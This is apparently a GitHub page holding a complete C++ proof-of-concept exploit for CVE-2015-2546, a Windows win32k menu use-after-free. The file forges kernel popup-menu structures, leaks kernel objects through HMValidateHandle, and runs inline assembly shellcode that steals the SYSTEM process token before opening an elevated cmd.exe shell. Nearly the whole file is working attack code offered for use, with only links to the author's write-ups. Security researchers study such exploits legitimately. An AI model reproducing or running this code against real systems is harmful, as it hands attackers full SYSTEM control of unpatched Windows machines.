Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
533 lines (476 sloc) 13.3 KB
/**
* Exploit: CVE-2015-2546
* Author: Leeqwind (@leeqwind)
* Paper(zh): https://xiaodaozhi.com/exploit/122.html
* Paper(en): https://xiaodaozhi.com/exploit/132.html
* Declaration: NO LEGAL LIABILITY.
*/
#include <Windows.h>
#include <wingdi.h>
#include <iostream>
#include <Psapi.h>
#pragma comment(lib, "psapi.lib")
#define POCDEBUG 0
#if POCDEBUG == 1
#define POCDEBUG_BREAK() getchar()
#elif POCDEBUG == 2
#define POCDEBUG_BREAK() __debugbreak()
#else
#define POCDEBUG_BREAK()
#endif
typedef struct _THRDESKHEAD {
HANDLE h;
DWORD cLockObj;
PVOID pti;
PVOID rpdesk;
PBYTE pSelf;
} THRDESKHEAD, *PTHRDESKHEAD;
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
BOOL bExploited;
BYTE pfnWindProc[];
} SHELLCODE, *PSHELLCODE;
static PSHELLCODE pvShellCode = NULL;
static PDWORD ptagWNDFake = NULL;
static UINT iMenuCreated = 0;
static BOOL bDoneExploit = FALSE;
static HWND hWindowMain = NULL;
static HWND hWindowList[0x100] = { 0 };
static UINT iWindowCount = 0;
static
BOOL
xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra)
{
WNDCLASSEXW wc = { 0 };
wc.cbSize = sizeof(WNDCLASSEXW);
wc.lpfnWndProc = DefWindowProcW;
wc.cbWndExtra = cbWndExtra;
wc.hInstance = GetModuleHandleA(NULL);
wc.lpszMenuName = NULL;
wc.lpszClassName = lpszClassName;
return RegisterClassExW(&wc);
}
static
HWND
xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle, HINSTANCE hInstance = NULL)
{
return CreateWindowExW(dwExStyle,
lpszClassName,
NULL,
dwStyle,
0,
0,
1,
1,
NULL,
NULL,
hInstance,
NULL);
}
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;
static
VOID
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
break;
}
}
#define TYPE_WINDOW 1
static
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}
static
PVOID
xxHMValidateHandle(HWND hwnd)
{
PVOID RetAddr = NULL;
if (!pfnHMValidateHandle)
{
xxGetHMValidateHandle();
}
if (pfnHMValidateHandle)
{
RetAddr = xxHMValidateHandleEx(hwnd);
}
return RetAddr;
}
#define MN_ENDMENU 0x1F3
static HWND hwndRootMenu = NULL;
static HWND hwndHintMenu = NULL;
static HWND hwndFakeMenu = NULL;
static PVOID pwndFakeMenu = NULL;
static
LRESULT
WINAPI
xxHintMenuWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
UNREFERENCED_PARAMETER(hwnd);
UNREFERENCED_PARAMETER(msg);
UNREFERENCED_PARAMETER(wParam);
UNREFERENCED_PARAMETER(lParam);
if (msg == 0x1EB)
{
std::cout << "::MN_FINDMENUWINDOWFROMPOINT" << std::endl;
POCDEBUG_BREAK();
return (LRESULT)hwndFakeMenu;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
static
LRESULT
WINAPI
xxFakeMenuWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
UNREFERENCED_PARAMETER(hwnd);
UNREFERENCED_PARAMETER(msg);
UNREFERENCED_PARAMETER(wParam);
UNREFERENCED_PARAMETER(lParam);
switch (msg)
{
case 0x1E5:
std::cout << "::MN_SELECTITEM" << std::endl;
POCDEBUG_BREAK();
return (LRESULT)MF_POPUP;
case 0x1F0:
std::cout << "::MN_SETTIMERTOOPENHIERARCHY" << std::endl;
POCDEBUG_BREAK();
return (LRESULT)0;
default:
break;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
static
VOID
xxReallocPopupMenu(VOID)
{
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0xdddddddd; //->flags
dwPopupFake[0x1] = (DWORD)0xdddddddd; //->spwndNotify
dwPopupFake[0x2] = (DWORD)0xdddddddd; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)ptagWNDFake; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)0xdddddddd; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)0xdddddddd; //->spmenu
dwPopupFake[0x6] = (DWORD)0xdddddddd; //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)ptagWNDFake; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xdddddddd; //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)0xdddddddd; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xdddddddd; //->posSelectedItem
dwPopupFake[0xB] = (DWORD)0xdddddddd; //->posDropped
dwPopupFake[0xC] = (DWORD)0;
for (UINT i = 0; i < iWindowCount; ++i)
{
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}
}
static
LRESULT
CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
if (bDoneExploit)
{
return CallNextHookEx(0, code, wParam, lParam);
}
switch (cwp->message)
{
case 0x1EB: // MN_FINDMENUWINDOWFROMPOINT
POCDEBUG_BREAK();
if (cwp->hwnd == hwndHintMenu)
{
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxHintMenuWindowProc);
}
break;
case 0x1F0: // MN_SETTIMERTOOPENHIERARCHY
POCDEBUG_BREAK();
DestroyWindow(hwndFakeMenu);
xxReallocPopupMenu();
break;
default:
break;
}
return CallNextHookEx(0, code, wParam, lParam);
}
static
VOID
CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
UNREFERENCED_PARAMETER(hWinEventHook);
UNREFERENCED_PARAMETER(event);
UNREFERENCED_PARAMETER(idObject);
UNREFERENCED_PARAMETER(idChild);
UNREFERENCED_PARAMETER(idEventThread);
UNREFERENCED_PARAMETER(dwmsEventTime);
std::cout << "::EVENT_SYSTEM_MENUPOPUPSTART" << std::endl;
switch (iMenuCreated)
{
case 0:
std::cout << ">>SendMessage(WM_LBUTTONDOWN)" << std::endl;
hwndRootMenu = hwnd;
POCDEBUG_BREAK();
SendMessageW(hwndRootMenu, WM_LBUTTONDOWN, 0, 0x00050005);
break;
case 1:
std::cout << ">>SendMessage(WM_MOUSEMOVE)" << std::endl;
hwndHintMenu = hwnd;
POCDEBUG_BREAK();
SendMessageW(hwndRootMenu, WM_MOUSEMOVE, 0, 0x00060006);
if (pvShellCode->bExploited)
{
bDoneExploit = TRUE;
}
break;
}
iMenuCreated++;
}
static
DWORD
WINAPI
xxTrackExploitEx(LPVOID lpThreadParameter)
{
UNREFERENCED_PARAMETER(lpThreadParameter);
std::cout << "::" << __FUNCTION__ << std::endl;
POCDEBUG_BREAK();
HMENU hMenuList[2] = { 0 };
for (INT i = 0; i < 2; i++)
{
MENUINFO mi = { 0 };
hMenuList[i] = CreatePopupMenu();
mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuList[i], &mi);
}
LPCSTR szMenuItem = "item";
AppendMenuA(hMenuList[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuList[1], szMenuItem);
AppendMenuA(hMenuList[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);
for (INT i = 0; i < 0x100; i++)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
if (!RegisterClassExW(&Class))
{
continue;
}
hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
if (hwnd == NULL)
{
continue;
}
hWindowList[iWindowCount++] = hwnd;
}
xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000);
hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
WS_VISIBLE,
GetModuleHandleA(NULL));
hwndFakeMenu = xxCreateWindowExW(L"#32768",
WS_EX_TOOLWINDOW | WS_EX_DLGMODALFRAME | WS_EX_WINDOWEDGE,
WS_POPUP | WS_BORDER);
SetWindowLongW(hwndFakeMenu, GWL_WNDPROC, (LONG)xxFakeMenuWindowProc);
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndFakeMenu);
((PTHRDESKHEAD)ptagWNDFake)->pti = head->pti;
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
return 0;
}
static
VOID xxCreateCmdLineProcess(VOID)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
static
VOID
_declspec(naked)
xxPayloadWindProc(VOID)
{
__asm push ebp;
__asm mov ebp, esp;
__asm mov eax, dword ptr[ebp + 0Ch];
__asm cmp eax, 01E5h;
__asm jne LocRETURN;
__asm mov ax, cs;
__asm cmp ax, 1Bh;
__asm je LocRETURN;
__asm cld;
__asm pushad;
__asm call $+5;
__asm pop edx;
__asm sub edx, 35h;
LocGetEPROCESS:
__asm mov ecx, dword ptr[ebp + 8];
__asm mov ecx, dword ptr[ecx + 8];
__asm mov ebx, dword ptr[edx + 08h];
__asm mov ecx, dword ptr[ebx + ecx];
__asm mov ecx, dword ptr[ecx];
__asm mov ebx, dword ptr[edx + 0Ch];
__asm mov eax, dword ptr[edx + 4];
__asm push ecx;
LocForCurrentPROCESS:
__asm cmp dword ptr[ebx + ecx - 4], eax;
__asm je LocFoundCURRENT;
__asm mov ecx, dword ptr[ebx + ecx];
__asm sub ecx, ebx;
__asm jmp LocForCurrentPROCESS;
LocFoundCURRENT:
__asm mov edi,ecx;
__asm pop ecx;
LocForSystemPROCESS:
__asm cmp dword ptr[ebx + ecx - 4], 4;
__asm je LocFoundSYSTEM;
__asm mov ecx, dword ptr[ebx + ecx];
__asm sub ecx, ebx;
__asm jmp LocForSystemPROCESS;
LocFoundSYSTEM:
__asm mov esi, ecx;
__asm mov eax, dword ptr[edx + 10h];
__asm add esi, eax;
__asm add edi, eax;
__asm lods dword ptr[esi];
__asm stos dword ptr es : [edi];
__asm and eax, 0FFFFFFF8h;
__asm add dword ptr[eax - 18h], 2;
__asm mov dword ptr[edx + 14h], 1;
__asm popad;
__asm xor eax, eax;
LocRETURN:
__asm leave;
__asm ret 10h;
__asm int 3;
__asm int 3;
__asm int 3;
__asm int 3;
__asm int 3;
}
INT POC_CVE20152546(VOID)
{
std::cout << "-------------------" << std::endl;
std::cout << "POC - CVE-2015-2546" << std::endl;
std::cout << "-------------------" << std::endl;
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
return 0;
}
ZeroMemory(pvShellCode, 0x1000);
ptagWNDFake = (PDWORD)((PBYTE)pvShellCode + 0xf00);
ptagWNDFake[0x05] = (DWORD)0x40000; //->state[bServerSideWindowProc]
ptagWNDFake[0x18] = (DWORD)pvShellCode->pfnWindProc; //->lpfnWndProc
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_THREADINFO_ppi = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token = 0x0f8;
for (UINT i = 0; ; i++)
{
if (*(DWORD *)&((PBYTE)xxPayloadWindProc)[i] == 0xcccccccc)
{
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, i);
break;
}
}
if (pvShellCode->pfnWindProc[0] == 0)
{
return FALSE;
}
std::cout << "CREATE WORKER THREAD..." << std::endl;
POCDEBUG_BREAK();
HANDLE hThread = CreateThread(NULL, 0, xxTrackExploitEx, NULL, 0, NULL);
if (hThread == NULL)
{
return FALSE;
}
while (!bDoneExploit)
{
Sleep(500);
}
xxCreateCmdLineProcess();
TerminateThread(hThread, 0);
std::cout << "-------------------" << std::endl;
getchar();
return bDoneExploit;
}
INT main(INT argc, CHAR *argv[])
{
POC_CVE20152546();
return 0;
}